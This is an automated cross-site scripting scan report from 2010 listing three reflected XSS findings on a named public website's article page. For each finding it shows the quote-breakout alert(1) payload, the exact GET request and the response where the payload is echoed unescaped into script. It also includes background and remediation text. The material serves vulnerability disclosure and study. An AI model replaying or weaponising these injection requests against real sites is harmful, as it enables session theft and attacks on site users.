Report generated by XSS.CX at Sun Nov 21 16:57:20 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research


Contents

Loading

1. Cross-site scripting (reflected)

1.1. http://www.wisegeek.com/who-is-ferdinand-marcos.htm [REST URL parameter 1]

1.2. http://www.wisegeek.com/who-is-ferdinand-marcos.htm [name of an arbitrarily supplied request parameter]

1.3. http://www.wisegeek.com/who-is-ferdinand-marcos.htm [name of an arbitrarily supplied request parameter]



1. Cross-site scripting (reflected)
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.wisegeek.com/who-is-ferdinand-marcos.htm [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wisegeek.com
Path:   /who-is-ferdinand-marcos.htm

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3c0b9'-alert(1)-'2c32b372f59 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /3c0b9'-alert(1)-'2c32b372f59 HTTP/1.1
Host: www.wisegeek.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Sun, 21 Nov 2010 21:33:07 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny4 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny4
Set-Cookie: wsscfm=eJwr9kyxTUpONTBMM0wzNU1ONDMyskxONDY1T0s1sEi1MDcAsgHIxApK; path=/
Set-Cookie: ufd=eJwrSExPLctMLfcrzbU1VCspSkxLy0wOzi8tSk61zQcAp7ALGQ%3D%3D; path=/
Set-Cookie: tm=eJzLTLE1MjVUS7Y1AAAPjAKZ; expires=Sun, 05-Dec-2010 21:33:07 GMT; path=/
Cache-Control: no-cache, must-revalidate
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 9120

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Nobile:i,bi">
<link rel="stylesh
...[SNIP]...
<script>
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-176713-1']);
_gaq.push(['_trackPageview', '/404.htm?page=/3c0b9'-alert(1)-'2c32b372f59']);

(function() {
var ga = document.createElement('script');
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
ga.setAttribute('a
...[SNIP]...

1.2. http://www.wisegeek.com/who-is-ferdinand-marcos.htm [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wisegeek.com
Path:   /who-is-ferdinand-marcos.htm

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fa863'-alert(1)-'74b896c2ec8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /who-is-ferdinand-marcos.htm?fa863'-alert(1)-'74b896c2ec8=1 HTTP/1.1
Host: www.wisegeek.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 21 Nov 2010 21:33:06 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny4 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny4
Set-Cookie: wsscfm=eJwr9kyxNTVISklLMzIzt0wySjQ0tjC3SDJNSzE1TUs2MEgyNjYBAMK%2BCh0%3D; path=/
Set-Cookie: ufd=eJwrSExPLctMLfcrzbU1VCspSkxLy0wOzi8tSk61zQcAp7ALGQ%3D%3D; path=/
Set-Cookie: tm=eJzLTLE1MjVUS7Y1AAAPjAKZ; expires=Sun, 05-Dec-2010 21:33:06 GMT; path=/
Set-Cookie: i=world-1.gif
Set-Cookie: c41=eJzLTLE1MjRRS7Y1tgAAElkC0w%3D%3D; expires=Sun, 05-Dec-2010 21:33:06 GMT; path=/
Set-Cookie: ufd=eJwrSExPLctMLfcrzbU1VCspSkxLy0wOzi8tSk61zVcrKXbOSMzLS82xNVPLTS0pykwuNjZAYpvZGhrBOGa2BjCmibGtCZxtYqtrCOeYIkmY2RoZwziGZrbGlgCZ9i%2BN; path=/
Cache-Control: no-cache, must-revalidate
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 31478

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Who is Ferdinand Marcos?</title> <link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?fa
...[SNIP]...
rrow_id","discussionPostBoxHolder":"PageArticle-discussionPostBoxHolder_id"},"_actions":{"getDiscussionPostBoxJSON":"action[PageArticle:getDiscussionPostBoxJSON]"},"url":"\/who-is-ferdinand-marcos.htm?fa863'-alert(1)-'74b896c2ec8=1","postSuccessfull":false,"postError":false,"scrollToPostBox":null,"__id":"78daddf3385d741984006df22c09f954","__name":"PageArticle","__childControls":[],"__parentControlId":null}); ');c.addControl(id
...[SNIP]...

1.3. http://www.wisegeek.com/who-is-ferdinand-marcos.htm [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wisegeek.com
Path:   /who-is-ferdinand-marcos.htm

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6f77e"-alert(1)-"41fff1b4500 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /who-is-ferdinand-marcos.htm?6f77e"-alert(1)-"41fff1b4500=1 HTTP/1.1
Host: www.wisegeek.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 21 Nov 2010 21:33:05 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny4 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny4
Set-Cookie: wsscfm=eJwr9kyxNTEzNDAyT0wzMTNONDQ1TjNNTTRLSTRKSkpKMUtKMkwEALsKCpQ%3D; path=/
Set-Cookie: ufd=eJwrSExPLctMLfcrzbU1VCspSkxLy0wOzi8tSk61zQcAp7ALGQ%3D%3D; path=/
Set-Cookie: tm=eJzLTLE1MjVUS7a1BAAPlQKi; expires=Sun, 05-Dec-2010 21:33:05 GMT; path=/
Set-Cookie: i=world-1.gif
Set-Cookie: c41=eJzLTLE1MjRRS7Y1NgEAElUCzw%3D%3D; expires=Sun, 05-Dec-2010 21:33:05 GMT; path=/
Set-Cookie: ufd=eJxNybEKgCAURuG3cQsy7ULDP7W39AQi1xIqQ61ev0lxOx%2FnNhu%2Fnr%2FlOSFFjsY5b9fwRMsIIqd5N9fFB0icnKO3SfVNE%2BRQQJhKagVdW6OTFWMzCIMqkAQ1%2FZw2L5Y%3D; path=/
Cache-Control: no-cache, must-revalidate
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 32461

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Who is Ferdinand Marcos?</title> <link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?fa
...[SNIP]...
<script>
var artId = 39260;
var tpl = "repeating-link-units-in-discussions";
var plId = "1290375185.7.6972";
var artUrl = "/who-is-ferdinand-marcos.htm?6f77e"-alert(1)-"41fff1b4500=1";
</script>
...[SNIP]...

Report generated by XSS.CX at Sun Nov 21 16:57:20 CST 2010.